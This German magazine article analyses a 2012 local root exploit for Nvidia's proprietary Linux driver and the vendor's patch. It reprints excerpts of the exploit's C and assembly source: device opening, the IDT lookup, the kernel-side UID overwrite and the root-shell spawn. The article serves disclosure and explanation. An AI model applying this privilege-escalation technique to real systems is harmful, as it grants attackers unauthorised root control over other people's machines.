Der proprietäre Linux-Treiber für einige Nvidia-Grafikkarten lässt sich ausnutzen, um Befehle mit Rootrechten auszuführen. Wie ein lokaler Angreifer das anstellen könnte, demonstriert der hier vorgestellte Exploit, den ein anonymer Programmierer im August in Umlauf brachte.
Linux-Anwender, die Nvidia-Grafikkarten besitzen, finden mit Noveau durchaus einen Open-Source-Treiber. Die volle Leistungsfähigkeit der Hardware können sie aber meist nur mit dem proprietären Binärtreiber des Herstellers nutzen. Die Versionen des Nvidia-Treibers für Linux und Unix vor 295.71 und 304.32 enthalten allerdings eine Sicherheitslücke, über die ein lokaler Angreifer auf beliebige Bereiche des Systemspeichers zugreifen und so auch Befehle mit Rootrechten ausführen kann.
Anonyme Quelle
Der X.org-Entwickler und Subsystem-Maintainer Dave Airlie bekam einen Nvidia-Root-Exploit anonym zugespielt, den er am 1. August 2012 auf der Full-Disclosure-Mailingliste veröffentlichte [1]. Das Programm sei zwar nicht perfekt, schreibt er, funktioniere aber auf den meisten System mit dem fraglichen Treiber. Zudem liege das Scheitern der Attacke meist an der Payload und nicht an der Angriffstechnik. Einen Monat zuvor hatte der unbekannte Urheber den Exploit nach eigenen Angaben bereits an Nvidia geschickt, worauf jedoch keine Reaktion seitens des Grafikkartenherstellers erfolgte.
Der Exploit besteht aus knapp 800 Zeilen C- und Assembler-Code und lässt sich problemlos via
gcc -o exploit exploit.c
übersetzen. Wer ihn mit normalen Benutzerrechten ausführt, bekommt unmittelbar eine Rootshell auf den Bildschirm, falls er nicht zuvor den Treiber auf eine sichere Version aktualisiert hat.
Der Nvidia-Treiber stellt für die Kommunikation zwischen Kernel- und Userspace – wie andere Treiber auch – Gerätedateien im »/dev« -Verzeichnis bereit, beispielsweise »/dev/nvidia0« . Diese kann ein lokaler Angreifer dazu benutzen, das VGA-Speicherfenster so zu verschieben, dass er über die Gerätedatei auf beliebigen Speicher zugreifen kann.
Missbrauchtes Device
Wer sich den Exploit-Code genauer ansieht, stellt fest, dass er zunächst versucht eine der folgenden Gerätedateien zu öffnen:
/sys/bus/pci/drivers/nvidia /sys/bus/pci/drivers/nvidia/%s/resource /dev/nvidia0
Das tut der Exploit mit Hilfe der Funktion in Listing 1.
Listing 1
Exploit öffnet Device
01 static int nvidia_fd(uint64_t *res)
02 {
03 struct dirent **list;
04 int fd, resfd, ret;
05 char buf[256];
06 ret = scandir("/sys/bus/pci/drivers/nvidia", &list, dirfilter, versionsort);
07 if (ret <= 0)
08 goto fail;
09 sprintf(buf, "/sys/bus/pci/drivers/nvidia/%s/resource", list[0]->d_name);
10 resfd = open(buf, O_RDONLY);
11 if (resfd < 0)
12 goto fail;
13 read(resfd, buf, sizeof(buf));
14 *res = strtoll(buf, NULL, 16);
15 close(resfd);
16
17 if ((fd = open("/dev/nvidia0", O_RDWR)) < 0)
18 goto fail;
19 return fd;
20
21 fail:
22 perror("COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!");
23 *res = 0;
24 return -1;
25 }
Im Erfolgsfall liefert die Funktion ein Dateihandle auf die Gerätedatei zurück. Anschließend ruft der Code zunächst die Funktion »nvidia_handle()« auf, die als Argument das Filehandle von »nvidia_fd()« entgegennimmt und die Datei via »mmap()« in den virtuellen Adressraum des Prozesses lädt. Anschließend bringt der Exploit die Karte in den VGA-Modus und macht sich auf die Suche nach dem Kernelspeicher, denn diesen braucht er, um weiteren Schadcode auszuführen.
Dabei benutzt der Exploit die Adresse der Interrupt Descriptor Table (IDT), deren Offset er durch die kleine Funktion »getidt()« bestimmt:
static unsigned long getidt()
{
struct gdt idt;
memset(&idt, 0x00, sizeof(struct gdt));
asm volatile("sidt %0" : "=m"(idt));
return idt.base | 0xFFFFFFFF00000000UL;
}
Nun verschiebt er den VGA-Zugriffsspeicher so lange, bis der Code im Speicherbereich des Kernels angekommen ist. Dort angelangt, ruft der Exploit die Funktion »callsetroot()« auf, die durch Registermanipulation den aktuellen Prozess »current_task« auf Root-UID setzt (Listing 2). Nachdem er so Rootrechte erlangt hat, ruft der Exploit via
Listing 2
Auszug aus exploit.c
01 __used __kernel extern long callsetroot(long uid, long gid);
02
03 #define FN(x) ".globl " x "\n\t.type " x ",@function\n\t" x ":\n\t.cfi_startproc\n\t"
04 #define END ".cfi_endproc\n\t"
05 asm(
06 ".text\n\t.align 4\n\t"
07 FN("testgetroot")
08 // AND HAVE FUN! :D
09 #ifdef __x86_64__
10 "swapgs\n\t"
11 "call getroot\n\t"
12 "swapgs\n\t"
13 "iretq\n\t"
14 #else
15 "mov %fs, %edi\n\t"
16 "mov $0xd8, %esi\n\t"
17 "mov %esi, %fs\n\t"
18 "call getroot\n\t"
19 "mov %edi, %fs\n\t"
20 "iretl\n\t"
21 #endif
22 END
23
24 FN("gettask")
25 #ifdef __x86_64__
26 // Grab some offsets from system_call
27 "mov $0xc0000082, %ecx\n\t"
28 "rdmsr\n\t"
29 "movslq %eax, %rax\n\t"
30
31 [...]
32
33 "1:\n\t"
34 "cmpw $0x4865, 0x3(%rax)\n\t"
35 "je 2f\n\t"
36 "incq %rax\n\t"
37 "jmp 1b\n\t"
38 "2:\n\t"
39
40 "movl 17(%rax), %edx\n\t"
41
42 // blegh padding
43 "3:\n\t"
44 "addl $8, %edx\n\t"
45 "movq %gs:(%edx), %rax\n\t"
46 "test %eax, %eax\n\t"
47 "jz 3b\n\t"
48 "cmpl $-1, %eax\n\t"
49 "je 3b\n\t"
50 #else
51 // TODO: maybe..
52 "xor %eax, %eax\n\t"
53 #endif
54 "ret\n\t"
55 END
56
57 #define S2(x) #x
58 #define S1(x) S2(x)
59
60 FN("callsetroot")
61 #ifdef __x86_64__
62 "int $" S1(ENTRY) "\n\t"
63 #else
64 "push %edi\n\t"
65 "push %esi\n\t"
66 "int $" S1(ENTRY) "\n\t"
67 "pop %esi\n\t"
68 "pop %edi\n\t"
69 #endif
70 "ret\n\t"
71 END
72
73 ".previous");
execl("/bin/bash", "sh", NULL);
einfach eine Shell auf. Damit ist der lokale Angreifer im Besitz einer Rootshell und kann beliebige weitere Befehle mit Superuser-Rechten ausführen.
Nvidia hat nun auf das Problem reagiert und Anfang August 2012 neue Treiber veröffentlicht [2]. Da der Exploit entscheidend darauf beruht, das VGA-Fenster zu verschieben, haben die Entwickler diese Möglichkeit deaktiviert. Daneben verbietet die neue Version auch den Zugriff auf Register, die GPU-interne Microcontroller steuern. Erst im April 2012 musste der Grafikkartenhersteller eine ähnliche Sicherheitslücke korrigieren, die ebenfalls den Zugriff auf beliebigen Systemspeicher erlaubte [3]. (mhu)
Infos
- Dave Airlie, “Nvidia linux binary driver priv escalation exploit”: http://permalink.gmane.org/gmane.comp.security.full-disclosure/86747
- “Nvidia Unix graphics driver exploit advisory”, Nvidia Answer ID 3140: http://nvidia.custhelp.com/app/answers/detail/a_id/3140
- “Security vulnerability CVE-2012-0946 in the Nvidia Unix driver”, Nvidia Answer ID 3109: http://nvidia.custhelp.com/app/answers/detail/a_id/3109





